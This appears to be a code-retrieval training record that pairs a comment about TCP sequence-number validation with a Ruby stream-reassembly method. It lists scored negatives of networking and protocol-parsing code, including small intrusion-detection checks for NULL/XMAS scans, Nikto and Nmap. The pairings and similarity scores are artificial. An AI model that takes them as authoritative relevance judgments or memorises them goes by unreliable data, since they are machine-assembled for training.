{}\n\n return true\n end", "def checkScan packet\n\tif packet.is_tcp?\n\t\tif packet.tcp_flags.to_i == 0 # No flags on\n\t\t\treturn \"NULL\"\n\t\telsif packet.tcp_flags.to_i == 41 # FIN, PSH, URG flags all on\n\t\t\treturn \"XMAS\"\n\t\tend\n\tend\n\tnil\nend", "def parse_response?\n parse_response\n end", "def udp?\n return (proto == 'udp')\n end" ]
[ "0.6855456", "0.6343555", "0.6154703", "0.5993474", "0.59458494", "0.59374386", "0.5933196", "0.5866103", "0.5865824", "0.58347625", "0.5820895", "0.5754267", "0.5732191", "0.57225776", "0.57075965", "0.57003146", "0.56852853", "0.56744826", "0.5656433", "0.56099737", "0.5600309", "0.55325603", "0.5504259", "0.55035394", "0.5467542", "0.5466162", "0.5408391", "0.536092", "0.5356734", "0.5350768", "0.5345141", "0.53348404", "0.5294005", "0.52912986", "0.52909034", "0.5287677", "0.52832985", "0.5262456", "0.52522725", "0.5241109", "0.52362466", "0.52338624", "0.52338624", "0.5228354", "0.5220756", "0.5211992", "0.520898", "0.52085555", "0.5198552", "0.5197715", "0.5194905", "0.5191335", "0.5167543", "0.5160728", "0.5160606", "0.5159512", "0.5152626", "0.5115758", "0.5111281", "0.5104349", "0.50941485", "0.5092535", "0.5090755", "0.50863105", "0.5083832", "0.50812477", "0.5075297", "0.50661117", "0.5063522", "0.50342137", "0.5031745", "0.5028738", "0.50286496", "0.50270915", "0.50270915", "0.50218564", "0.50017124", "0.5001531", "0.49959907", "0.49920493", "0.49867782", "0.49844354", "0.49798426", "0.49766105", "0.49749908", "0.49693355", "0.49687186", "0.49634188", "0.49582285", "0.49582285", "0.49580523", "0.49539274", "0.4949507", "0.49415424", "0.49192464", "0.49110228", "0.4909274", "0.49023956", "0.4900986", "0.48916653" ]
0.49270847
94
of packet() If the sequence number is valid, update the stream attributes. If not, perform the appropriate response but don't update the stream. Return true if valid and should continue parsing, false if it shouldn't, and a pkt if there is a queued next packet that needs to be injected into the stream.
def validate_sequence_numbers(pkt, state, dir) expected_seq = dir == :up ? state.seq_up : state.seq_down # If we don't have an expected sequence number yet, set one expected_seq = pkt.tcp_seq if expected_seq == 0 # If we did not expect this sequence number, handle dissonance if pkt.tcp_seq != expected_seq return nil if pkt.tcp_seq < expected_seq # OS would ignore this packet # The sequence number is high - save it for later? if pkt.tcp_seq - expected_seq < FORWARD_WINDOW segments = dir == :up ? state.segments_up : state.segments_down segments[pkt.tcp_seq] = pkt else # This packet is too far in advance, we're aborting on this steram @event_collector.send(:tcp_stream_end) do { :syn_seen => !!state.syn_seen, :src_ip => @protos.str_ip(pkt.src.to_i), :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport, :dst_port => pkt.dport, :rst => false, :fin => false, :sync => true, :timeout => false } end @protos.conclude(state, :up) # Kill the stream in both directions @protos.conclude(state, :down) state.app_state = nil # not parsing anymore #delete_state(state) # don't delete the state, FIN/RST will do it. end return nil # in either case, we don't process the packet right now # Sequence number was what we expected, this is part of our stream else # If this was a SYN packet, increase next expected sequence number by 1 # as specified by the TCP RFC. expected_seq += 1 if pkt.tcp_syn? # Adjust our next expected sequence number if dir == :up state.seq_up = (expected_seq + pkt.tcp_data_len) % 4294967296 else state.seq_down = (expected_seq + pkt.tcp_data_len) % 4294967296 end # Do we have a queued packet that we received out of order? segments = dir == :up ? state.segments_up : state.segments_down if segments.length > 0 queued_pkt = segments[expected_seq] segments.reject! { |k,_| k <= expected_seq } # delete all passed segs if queued_pkt return queued_pkt end end # of if segments.length > 0 end true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def valid?\n return false if !@display_name.nil? && @display_name.to_s.length > 255\n return false if [email protected]? && @description.to_s.length > 1024\n return false if @tcp_closed.nil?\n return false if @tcp_closed > 4320000\n return false if @tcp_closed < 10\n return false if @tcp_opening.nil?\n return false if @tcp_opening > 4320000\n return false if @tcp_opening < 10\n return false if @udp_single.nil?\n return false if @udp_single > 4320000\n return false if @udp_single < 10\n return false if @tcp_finwait.nil?\n return false if @tcp_finwait > 4320000\n return false if @tcp_finwait < 10\n return false if @tcp_first_packet.nil?\n return false if @tcp_first_packet > 4320000\n return false if @tcp_first_packet < 10\n return false if @tcp_closing.nil?\n return false if @tcp_closing > 4320000\n return false if @tcp_closing < 10\n return false if @tcp_established.nil?\n return false if @tcp_established > 4320000\n return false if @tcp_established < 120\n return false if @udp_multiple.nil?\n return false if @udp_multiple > 4320000\n return false if @udp_multiple < 10\n return false if @icmp_error_reply.nil?\n return false if @icmp_error_reply > 4320000\n return false if @icmp_error_reply < 10\n return false if @udp_first_packet.nil?\n return false if @udp_first_packet > 4320000\n return false if @udp_first_packet < 10\n return false if @icmp_first_packet.nil?\n return false if @icmp_first_packet > 4320000\n return false if @icmp_first_packet < 10\n true\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Publish Complete packet'\n end", "def gtp_session_complete?(sequence_number) \n (@gtp_session[sequence_number][:REQUEST].key?(:req_res) && @gtp_session[sequence_number][:RESPONSE].key?(:req_res))\n end", "def request_success(packet); end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Publish Received packet'\n end", "def parse\n parse_command_and_headers if @frame.command.nil?\n success = if @frame.command\n if @body_length\n parse_binary_body\n else\n parse_text_body\n end\n elsif (match = @buffer.match(/\\A\\n|\\A\\r|\\A\\r\\n/))\n # Ignore heartbeat\n @buffer = match.post_match\n true\n end\n\n # Keep parsing if making progress and there is more data\n parse if success && [email protected]?\n true\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Publish Release packet'\n end", "def packet(pkt)\n super(pkt)\n \n # Only process packets with length right now\n return nil unless pkt.udp_data.length > 0\n \n # Determine the packet's direction (up == src -> dst)\n dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down\n\n # First, identify if this is a new stream or part of one on which we are\n # already keeping state.\n state = identify_state(pkt, :udp, false)\n state.udp_init(pkt, @event_collector) unless state.layer_4\n @protos.parse(pkt.udp_data, state, dir)\n end", "def allow?(packet); end", "def packet(pkt)\n super(pkt)\n ret = nil\n\n # Let's ignore (for now) packets that are simply ACKs and nothing else\n return nil unless pkt.tcp_syn? or pkt.tcp_fin? or pkt.tcp_rst? or\n pkt.tcp_data_len > 0\n \n # Should we be raising a STREAM event?\n if pkt.tcp_data_len > 0 and @event_collector.stream_capture\n @event_collector.stream_capture.each do |sc|\n if (sc[0].nil? or sc[0] == pkt.src.to_i) and # source IP\n (sc[2].nil? or sc[2] == pkt.dst.to_i) and # destination IP\n (sc[1].nil? or sc[1] == pkt.sport) and # source port\n (sc[3].nil? or sc[3] == pkt.dport) # destination port\n @event_collector.send(sc[4]) do\n state = identify_state(pkt, :tcp, false)\n { :content => pkt.tcp_data, :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport }\n end\n end # of if match\n end # of each stream_capture\n end # of if stream event\n\n # Determine the packet's direction (up == src -> dst)\n dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down\n\n # First, identify if this is a new stream or part of one on which we are\n # already keeping state.\n make_state = !(pkt.tcp_fin? or pkt.tcp_rst?)\n state = identify_state(pkt, :tcp, make_state)\n state.ack_seen = pkt.tcp_ack? unless pkt.tcp_rst?\n \n # Check to see if we need to prune some state objects\n if pkt.time.to_i > @next_prune\n @next_prune = pkt.time.to_i + 60 # one minute prune interval\n syn_timeout = pkt.time - @event_collector.syn_timeout_delay\n stream_timeout = pkt.time - @event_collector.stream_timeout_delay\n @states.each do |_,chk|\n if chk.last_seen < syn_timeout\n # Is this state only a syn so far?\n if not chk.ack_seen\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => true, :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i),\n :src_port => chk.sport, :dst_port => chk.dport, :rst => false }\n end\n delete_state(chk)\n \n # Okay, there's been some traffic. Has a full timeout occured?\n elsif chk.last_seen < stream_timeout\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!chk.syn_seen, :timeout => true,\n :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i), :rst => false,\n :dst_port => chk.dport, :src_port => chk.sport, :sync => false,\n :fin => false }\n end\n delete_state(chk)\n end # of if stream_timeout\n end # of syn_timeout\n end\n end\n\n # Is this state brand new? If so, add some TCP-specific information\n state.tcp_init(pkt, @event_collector) unless state.layer_4\n\n # Let's make sure the sequence numbers are what we expect\n ret = validate_sequence_numbers(pkt, state, dir) if state.app_state\n return nil unless ret\n\n # If this is a connection we've seen in its entirety, hand it up to\n # the next stage - the protocol parser (layer 7)\n if state.app_state and pkt.tcp_data and pkt.tcp_data.length > 0\n @protos.parse(pkt.tcp_data, state, dir)\n end\n\n # Is this a FIN or a RST? Should we close out this state?\n if pkt.tcp_fin?\n state.fin_up = true if dir == :up\n state.fin_down = true if dir == :down\n @protos.conclude(state, dir) # Signal the end of this direction\n end\n if pkt.tcp_rst? or (state.fin_up and state.fin_down)\n if not state.ack_seen # Explicit connection rejection\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => false, :src_ip => @protos.str_ip(pkt.dst.to_i),\n :dst_ip => @protos.str_ip(pkt.src.to_i),\n :src_port => pkt.dport, :dst_port => pkt.sport, :rst => true }\n end\n else # regular connection termination\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport, :rst => pkt.tcp_rst?, :sync => false,\n :fin => (state.fin_up and state.fin_down), :timeout => false }\n end\n @protos.conclude(state, :up) # Signal the end of the stream in\n @protos.conclude(state, :down) # both directions.\n end\n delete_state(state)\n end\n\n # Finally, if we have a queued packet to inject, inject it now. This must\n # be done last!\n packet(ret) if ret.class <= ::Pcap::TCPPacket\n true\n end", "def valid?\n case packet_smb_version\n when 'SMB1'\n return smb_header.protocol == RubySMB::SMB1::SMB_PROTOCOL_ID &&\n smb_header.command == self.class::COMMAND\n when 'SMB2'\n return smb2_header.protocol == RubySMB::SMB2::SMB2_PROTOCOL_ID &&\n smb2_header.command == self.class::COMMAND\n end\n end", "def receive_frame sequence_number\n @stats[:frames_received] += 1\n\n # Read in the frame\n to_read = @options[:frame_size]\n if ((@window * @options[:window_size]) + (sequence_number % @options[:window_size]) + 1) * @options[:frame_size] >= @filesize\n to_read = @filesize % @options[:frame_size]\n to_read = @options[:frame_size] if to_read == 0\n end\n\n buffer = @socket.read(to_read)\n\n # Is it from another window? We can ack these\n max_frame = @options[:window_size] * ((@window % 2) + 1)\n min_frame = @options[:window_size] * ((@window % 2))\n if sequence_number >= max_frame or sequence_number < min_frame\n # assume last window\n return :redundant\n end\n\n expected_frame = (@next_frame % @options[:window_size]) + (@options[:window_size] * (@window % 2))\n if @options[:implementation] == :go_back and sequence_number != expected_frame\n puts \"Out of order frame! #{sequence_number} != #{expected_frame}\"\n return :illegal\n end\n\n if not @buffer[sequence_number].nil?\n # Already have this frame\n puts \"Redundant frame #{sequence_number}\"\n @stats[:redundant_frames] += 1\n return :redundant\n end\n\n reset_timeout\n\n @buffer[sequence_number] = buffer\n @buffer_len += 1 if @options[:implementation] == :selective_repeat\n if @buffer_len > @max_buffer_len\n @max_buffer_len = @buffer_len\n end\n\n return :received\n end", "def process(packet)\n @init.call(Net::SSH::Packet.new(packet.to_s)) if @init\n type = packet.read_byte\n raise \"expected #{@type}, but got #{type}\" if @type != type\n\n @data.zip(types).each do |expected, _type|\n _type ||= case expected\n when nil then break\n when Numeric then :long\n when String then :string\n when TrueClass, FalseClass then :bool\n end\n\n actual = packet.send(\"read_#{_type}\")\n next if expected.nil?\n raise \"expected #{_type} #{expected.inspect} but got #{actual.inspect}\" unless expected == actual\n end\n end", "def packet_stream packet # :nodoc:\n payload = packet.payload\n\n return if payload.empty?\n\n source = packet.source\n\n if previous = @incomplete_streams.delete(source) then\n payload = previous << payload\n elsif /\\A....\\x04\\x08/m !~ payload then\n @drb_streams[source] = false\n return\n end\n\n stream = StringIO.new payload\n stream.set_encoding Encoding::BINARY, Encoding::BINARY\n stream\n end", "def valid?\n return true if skip?\n handler.valid?(value)\n end", "def waiting_for?(packet)\n\t\treturn (packet.rid == rid)\n\tend", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n unless buffer.empty?\n raise ExtraBytesError, \"at end of Publish Release packet\"\n end\n end", "def checkStream(pkt)\n\terrorDetected = false;\n\t$incident = \"test\"\n\n\t# Check TCP vulnerabilities\n\tif pkt.proto.last == \"TCP\"\n\t\tif checkNull(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"NULL\"\n\t\telsif checkFin(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"FIN\"\n\t\telsif checkXMAS(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"XMAS\"\n\t\tend\n\telse\n\t\tif checkNikto(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"nikto\"\n\t\telsif checkNmap(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"Nmap\"\n\t\telsif checkCreditCard(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"Credit card leaked\"\n\t\tend\n\tend\n\n\tif errorDetected\n\t\tputs \"#{$incident_number}. ALERT: #{$incident} is detected from #{pkt.ip_saddr} (#{pkt.proto.last}) (#{pkt.payload})!\"\t\n\t\t$incident_number = $incident_number + 1\n\tend\nend", "def get_packet\n\t\t\t\tfirst_number = read(1).unpack(\"C\")[0]\n\t\t\t\t# get the 'mask' property\n\t\t\t\tpacket_mask = first_number >> 6\n\t\t\t\t# get the 'frame1' property\n\t\t\t\tframe_number = first_number & 0x3F\n\t\t\t\tif frame_number == 0\n\t\t\t\t\t# if frame1 is equal to 0 then 'frame' is equal to 'frame2'\n\t\t\t\t\tframe_number = read(1).unpack(\"C\")[0]\n\t\t\t\telsif frame_number == 1\n\t\t\t\t\t# if frame1 is equal to 1 then 'frame' is equal to 'frame3'\n\t\t\t\t\tframe_number = read(2).unpack(\"n\")[0]\n\t\t\t\tend\n\t\t\t\t# init a 'frame stream' if it doesn't exist yet\n\t\t\t\tif ! @frames_in.has_key? frame_number\n\t\t\t\t\t@frames_in[frame_number] = Frame.new(0,0,0,0)\n\t\t\t\t\tif packet_mask != 0\n\t\t\t\t\t\traise StandardError, \"packet error\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t# for logging purpose\n\t\t\t\t@bytes_in += 1\n\t\t\t\t\n\t\t\t\t# reads the 'time', 'datasize', 'rtmpdatatype' and 'streamid' properties from the socket\n\t\t\t\t# and put them into the 'frame stream' archive\n\t\t\t\t\n\t\t\t\tcase packet_mask\n\t\t\t\twhen 0\n\t\t\t\t\t@frames_in[frame_number].timer = getMediumInt()\n\t\t\t\t\t@frames_in[frame_number].size = getMediumInt()\n\t\t\t\t\t@frames_in[frame_number].data_type = read(1).unpack(\"C\")[0]\n\t\t\t\t\t@frames_in[frame_number].obj = read(4).unpack(\"N\")[0]\n\t\t\t\t\t@bytes_in += 11\n\t\t\t\twhen 1\n\t\t\t\t\t@frames_in[frame_number].timer = getMediumInt()\n\t\t\t\t\t@frames_in[frame_number].size = getMediumInt()\n\t\t\t\t\t@frames_in[frame_number].data_type = read(1).unpack(\"C\")[0]\n\t\t\t\t\t@bytes_in += 7\n\t\t\t\twhen 2\n\t\t\t\t\t@frames_in[frame_number].timer = getMediumInt()\n\t\t\t\t\t@bytes_in += 3\n\t\t\t\twhen 3\n\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\n\t\t\t\tend\n\t\t\t\t# fix the CONNECTION_PACKET bug when its size is larger than 128 bytes (see caution 4.4.6)\n\t\t\t\tif ! @connected\n\t\t\t\t\tdata_length = @frames_in[frame_number].size\n\t\t\t\t\n\t\t\t\t\tif data_length < 129\n\t\t\t\t\t\tdata = read(data_length)\n\t\t\t\t\telsif data_length == 129\n\t\t\t\t\t\tdata = read(data_length+1)\n\t\t\t\t\t\tdata = data[0..-2]\n\t\t\t\t\telse data_length > 129\n\t\t\t\t\t\tdata = read(data_length+1)\n\t\t\t\t\t\tdata = data[0..127] << data[129..-1]\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tdata = read(@frames_in[frame_number].size)\n\t\t\t\tend\n\t\t\t\t# for logging purpose\n\t\t\t\t@bytes_in += data.length\n\t\t\t\t@msg_in += 1\n\t\t\t\t# return a RTMP_PACKET with all its properties (implicit ones included)\n\t\t\t\treturn RTMPPacket.new(\tframe_number,\n\t\t\t\t\t\t\t@frames_in[frame_number].timer,\n\t\t\t\t\t\t\tdata,\n\t\t\t\t\t\t\t@frames_in[frame_number].data_type,\n\t\t\t\t\t\t\t@frames_in[frame_number].obj)\n\t\tend", "def needs_initial_response?\n # logger.debug(\"CHC: needs_initial_response '#{p_s_b}'\")\n return false if p_s_b != 'P'\n # logger.debug(\"CHC: needs_initial_response still here\")\n center = queue.center.center\n ret = false\n pmr.signature_lines.each do |sig|\n # logger.debug(\"CHC: stype=#{sig.stype} ptype=#{sig.ptype}\")\n # Set ret to true for any requeue of the primary. The last\n # one will be the requeue to the current location.\n if sig.stype == 'CR' && sig.ptype == '-' && sig.center != center\n # logger.debug(\"CHC: CR line at #{sig.date}\")\n ret = true\n end\n # Set ret to false for any CT from this center.\n if sig.stype == 'CT' && sig.center == center\n # logger.debug(\"CHC: CT line at #{sig.date}\")\n ret = false\n end\n end\n # Ret will be the last toggle from the above two conditions.\n ret\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Publish Acknowledgment packet'\n end", "def response?\n\t\treturn ((self.type == PACKET_TYPE_RESPONSE) ||\n\t\t (self.type == PACKET_TYPE_PLAIN_RESPONSE))\n\tend", "def response?\n\t\treturn ((self.type == PACKET_TYPE_RESPONSE) ||\n\t\t (self.type == PACKET_TYPE_PLAIN_RESPONSE))\n\tend", "def valid?\n return false if [email protected]? && @lac > 65533\n return false if [email protected]? && @lac < 1\n return false if [email protected]? && @cid > 268435455\n return false if [email protected]? && @cid < 0\n return false if [email protected]? && @signal > -25\n return false if [email protected]? && @signal < -121\n return false if [email protected]? && @psc > 503\n return false if [email protected]? && @psc < 0\n return false if [email protected]? && @asu > 97\n return false if [email protected]? && @asu < -5\n return false if [email protected]? && @ta > 63\n return false if [email protected]? && @ta < 0\n true\n end", "def ping\n if @type == :receiving\n # Receive packets\n header = @socket.readline\n header.match /^(\\d+)\\s+(.+)\\s+(.+)$/\n sequence_number = $1.to_i\n check = $2\n file_number = $3.to_i\n\n return if file_number != @number\n\n # ACK anything if we have received the file\n if done?\n response = receive_frame sequence_number\n\n @stats[:acks_sent] += 1\n if (sequence_number+1) == (@options[:window_size] * 2)\n @socket.puts \"ACK 0 #{@number}\"\n else\n @socket.puts \"ACK #{sequence_number+1} #{@number}\"\n end\n\n return\n end\n\n # Receive data\n response = receive_frame sequence_number\n if response == :redundant\n puts \"Reacknowledge!\"\n acknowledge_frame sequence_number\n return\n end\n\n # Perform checksum\n if response != :illegal\n sum = checksum sequence_number\n end\n\n # Append to file and send ACK, or send NAK\n if response == :illegal\n puts \"Out of order frame #{sequence_number}\"\n @stats[:out_of_order] += 1\n\n max_frame = @options[:window_size] * ((@window % 2) + 1)\n\n blah_frame = @next_frame % (@options[:window_size] * 2)\n blah_frame = (@options[:window_size]*2) if blah_frame == 0 and max_frame == (@options[:window_size]*2)\n nacknowledge_frame blah_frame\n elsif sum == check\n acknowledge_frame sequence_number\n else\n puts \"Corruption Detected\"\n @stats[:corrupted] += 1\n nacknowledge_frame sequence_number\n end\n else\n # Respond to acknowledgments\n ack = @socket.readline\n\n if ack.match /^ACK\\s+(\\d+)\\s+(\\d+)$/\n # Respond to ACK\n sequence_number = $1.to_i\n file_number = $2.to_i\n\n return if file_number != @number\n\n receive_acknowledgement sequence_number\n\n max_frame = @options[:window_size] * ((@window % 2) + 1)\n\n blah_frame = @next_frame % (@options[:window_size] * 2)\n blah_frame = (@options[:window_size]*2) if blah_frame == 0 and max_frame == (@options[:window_size]*2)\n if blah_frame == max_frame\n # window has been acknowledged\n send_next_window\n elsif @next_frame == @total_frames\n puts \"MEH\"\n stop_timeout\n end\n elsif ack.match /^NAK\\s+(\\d+)\\s+(\\d+)$/\n # Respond to NAK\n file_number = $2.to_i\n\n return if file_number != @number\n\n sequence_number = $1.to_i\n puts \"Frame #{sequence_number} NAK\"\n receive_nacknowledgement sequence_number\n end\n end\n end", "def valid?\n @http_response.is_a?(Net::HTTPSuccess) && @errors.blank?\n end", "def valid_sequence?(input)\n compacted_input = input.compact\n input_valid = compacted_input.all? &method(:valid_number?)\n input_valid && input.length == @length && compacted_input == compacted_input.uniq\n end", "def parse_response?\n parse_response\n end", "def catches_packet?(delay)\n (delay + @depth) % ((@range - 1) * 2) == 0\n end", "def parse\n _magic, command, length, checksum = @buffer.unpack('a4A12Va4')\n payload = @buffer[HEAD_SIZE...HEAD_SIZE + length]\n if Digest::SHA256.digest(Digest::SHA256.digest(payload))[0...4] != checksum\n return if payload.size < length\n raise 'TODO: handle checksum error'\n end\n @buffer = @buffer[HEAD_SIZE + length..-1] || ''\n handler.send \"handle_#{command}\", payload\n [email protected]?\n end", "def valid?\n received, sent = received_chunk_sizes, sent_chunk_sizes\n sent.all? { |id, size| received[id] == size }\n end", "def receive_packet(num, packet)\n # special case errors until I waste the time to scan them to see if they're\n # 4.0 or 4.1 packets. XXX\n if packet[0].ord == 0xFF\n self.error = packet[3..-1]\n self.state = :error\n end\n\n def packet.eof?; self[0].ord == 0xfe; end\n def packet.ok?; self[0].ord == 0x00; end\n\n case self.state\n when :preauth\n handle_preauth(num, Packets::Greeting.new(packet))\n when :auth_sent\n handle_postauth(num, Packets::OK.new(packet))\n\n # queries on a MySQL connection are synchronous. The response\n # packets are:\n # - ResultSet packet (which basically just says \"OK\")\n # - Field packets (describing columns)\n # - EOF (no more fields)\n # - RowData packets (describing a row)\n # - EOF (no more rows)\n\n when :ready\n inject\n when :awaiting_result_set\n # XXX just ignore for now\n self.state = :awaiting_fields\n when :awaiting_fields\n if packet.eof?\n self.state = :awaiting_rows\n else\n handle_field(num, Packets::Field.new(packet))\n end\n when :awaiting_rows\n if packet.eof?\n @cb.call(@fields, @rows)\n @fields = nil\n @rows = nil\n ready!\n else\n # rows have a variable number of variable-length strings, and no other\n # structure, so just hand the raw data off.\n handle_row(num, packet)\n end\n when :awaiting_statement_handle\n if packet.ok?\n handle_statement_handle(num, Packets::PrepareOk.new(packet))\n else\n # XXX handle this case\n @state = :error\n end\n when :awaiting_prepared_params\n if packet.eof?\n @state = :waiting_prepared_fields\n else\n # I cannot for the life of me figure out what I'm supposed\n # to do with these --- using mysql-ruby, I can't get them\n # to change based on their type. Why does MySQL send them?\n # I figured it'd be to let me enforce types on the params.\n end\n when :awaiting_prepared_fields\n if packet.eof?\n @cb.call(@stmt)\n @cb, @stmt, @expect_params, @expect_columns = nil, nil, nil, nil\n ready!\n else\n # I guess I could cache these? But why bother? MySQL is just\n # going to send them again. This protocol confuses and infuriates us!\n end\n when :error\n pp self.error\n else\n raise \"don't know how to handle\"\n end\n end", "def valid?\n @data && reader.valid_header? && metadata != :invalid\n end", "def handlePDUReceived(pduPacket)\n\n Utils_visiona.verifyInput(CFDP::PDUPacket, pduPacket.class)\n writeLog(\"Received #{pduPacket.pduPayload.class}: #{pduPacket.pack.to_s}\")\n\n replyWithAck?(pduPacket)\n\n if @status.eql?(\"FINISHED\")\n\n CFDP::CFDP_Indication(\"Transaction #{@ID} already finished. Ignoring.\")\n return\n end\n\n if isclass2?\n\n # this is a class 2 active transaction, verify pdu class\n case pduPacket.pduPayload\n when CFDP::PDUEOF\n\n unless haspdueof?\n\n # downlink situation:\n if isdownlink?\n\n # Store EOF\n update(pduPacket)\n\n # downlink situation. (class 2 transaction active, received EOF. must check for condition codes\n # first, and take action based on them.\n case pduPacket.pduPayload.conditionCode\n when 0\n\n # no error condition, verify file completude\n nakPdu = verifyMissingPDU\n if nakPdu.nil?\n finish_downlink_transaction\n else\n CFDP::CFDPEngine.instance.insertIntoBuffer(nakPdu)\n CFDP::CFDP_Indication(\"File incomplete. Generated NAKPDU and waiting for response.\")\n writeLog(\"File incomplete. Generated NAKPDU #{nakPdu.pack.to_s}. Waiting for response.\")\n insertTimer(\"NAK\")\n end\n else\n # it's an error, cancel transaction and indicate the user\n CFDP::CFDP_Indication(\"Transaction #{@ID} cancelled due to <#{CFDP.conditionCodeToStr(pduPacket.pduPayload.conditionCode)}>.\")\n writeLog(\"Transaction #{@ID} cancelled due to <#{CFDP.conditionCodeToStr(pduPacket.pduPayload.conditionCode)}>.\")\n CFDP::HKPacket.instance.updateVar(pduPacket.pduPayload.conditionCode)\n finish(\"FAILED\")\n end\n end\n end\n when CFDP::PDUMetadata, CFDP::PDUFileData, CFDP::PDUNAK\n\n update(pduPacket)\n when CFDP::PDUFinished\n\n # uplink situation:\n if isuplink?\n\n # Clean buffer\n writeLog(\"Cleaning buffer from transaction #{@ID}\")\n CFDP::CFDPEngine.instance.clean_buffer(@ID)\n else\n # downlink situation (should not receive a FINISHED pdu, error event maybe?)\n CFDP::CFDPEngine.instance.writeLog(0, \"Received FINISHED PDU in downlink event.\")\n end\n when CFDP::PDUACK\n # check for directive code of PDUAck\n case pduPacket.pduPayload.directiveCode\n when 4\n # received an ACK EOF, so disable timer.\n disableTimer(\"EOF\")\n when 5\n # received an ACK FINISHED. Disable timers\n disableTimer(\"FINISHED\")\n finish(\"SUCCESS\")\n else\n CFDP::CFDPEngine.instance.writeLog(0, \"ACK's directive code #{pduPacket.pduPayload.directiveCode} error.\")\n end\n else\n\n CFDP::CFDPEngine.instance.writeLog(0, \"Class #{pduPacket.pduPayload.class} not implemented\")\n end\n elsif isclass1?\n\n # this is a class 1 transaction\n case pduPacket.pduPayload\n when CFDP::PDUEOF, CFDP::PDUFileData\n\n update(pduPacket)\n\n unless pduPacket.pduPayload.is_a?(CFDP::PDUFileData)\n\n # received a class 1 EOF downlink. Must check condition code\n # and finish transactions\n (conditionCode = create_file) if pduPacket.pduPayload.conditionCode == 0\n\n # remove transaction anyway because we received EOF class 1.\n CFDP::CFDP_Indication (\"Transaction #{@ID} finished with <#{CFDP.conditionCodeToStr(conditionCode)}> condition.\")\n writeLog(\"Transaction #{@ID} finished with <#{CFDP.conditionCodeToStr(conditionCode)}> condition.\")\n CFDP::HKPacket.instance.updateVar(conditionCode)\n finish(conditionCode==0 ? \"SUCCESS\" : \"FAILED\")\n end\n else\n\n CFDP::CFDPEngine.instance.writeLog(0, \"Received #{pduPacket.pduPayload.class} on a class 1 transaction. Don't know how to handle it.\")\n end\n end\n end", "def parse(bytes)\n # tack new bytes on to partial packet\n @packet.concat(bytes.force_encoding('BINARY'))\n # find START_BYTE\n until (startPos = @packet.index(START_BYTE)).nil?\n after = @packet.slice(startPos+1 .. -1)\n nread = case after[0]\n when ID_ADC_STATUS\n parseADCStatus(after)\n when ID_DATA\n parseDataPacket(after)\n when ID_IO_STATUS\n parseIOStatus(after)\n when nil # no more bytes\n 0\n else\n # consume up to next START_BYTE\n after.index(START_BYTE) || 0\n end\n @packet = after.slice(nread .. -1)\n end\n end", "def success?\n valid? && ack != 'Failure'\n end", "def valid?\n return false if @channel_order_no.nil?\n return false if @lines.nil?\n return false if !@track_trace_no.nil? && @track_trace_no.to_s.length > 50\n return false if !@track_trace_no.nil? && @track_trace_no.to_s.length < 0\n return false if !@track_trace_url.nil? && @track_trace_url.to_s.length > 250\n return false if !@track_trace_url.nil? && @track_trace_url.to_s.length < 0\n return false if !@return_track_trace_no.nil? && @return_track_trace_no.to_s.length > 50\n return false if !@return_track_trace_no.nil? && @return_track_trace_no.to_s.length < 0\n return false if [email protected]? && @method.to_s.length > 50\n return false if [email protected]? && @method.to_s.length < 0\n return false if !@shipped_from_country_code.nil? && @shipped_from_country_code.to_s.length > 3\n return false if !@shipped_from_country_code.nil? && @shipped_from_country_code.to_s.length < 0\n true\n end", "def valid?\n @header && ['200','301','302'].include?(@header.code)\n end", "def replyWithAck?(pduPacket)\n\n Utils_visiona.verifyInput(CFDP::PDUPacket, pduPacket.class)\n return unless isclass2?\n\n status = (@finishType.nil? ? 1 : 2)\n sourceID = MYID\n destinationID = DESTINATIONID\n direction = 0\n\n # This is a received PDU.\n case pduPacket.pduPayload\n when CFDP::PDUEOF\n \n # I only receive EOF packets in DOWNLINK events\n return unless @type.eql?(\"DOWNLINK\")\n direction = 1\n sourceID = destinationID\n destinationID = MYID\n when CFDP::PDUFinished\n\n # I only receive FINISHED packets in UPLINK events\n return unless @type.eql?(\"UPLINK\")\n # use default values from function start\n else\n return\n end\n\n ackPdu = CFDP.generatePDU(\"ACK\", directiveCode:pduPacket.pduPayload.class.class_variable_get(:@@fdCode),\n directiveSubtypeCode:0, conditionCode:pduPacket.pduPayload.conditionCode, transactionStatus:status,\n direction:direction, transmissionMode:0, sourceID:sourceID, destinationID:destinationID,\n sequenceNumber:pduPacket.pduHeader.sequenceNumber)\n\n writeLog(\"Generated ACK PDU: #{ackPdu.pack.to_s}\")\n 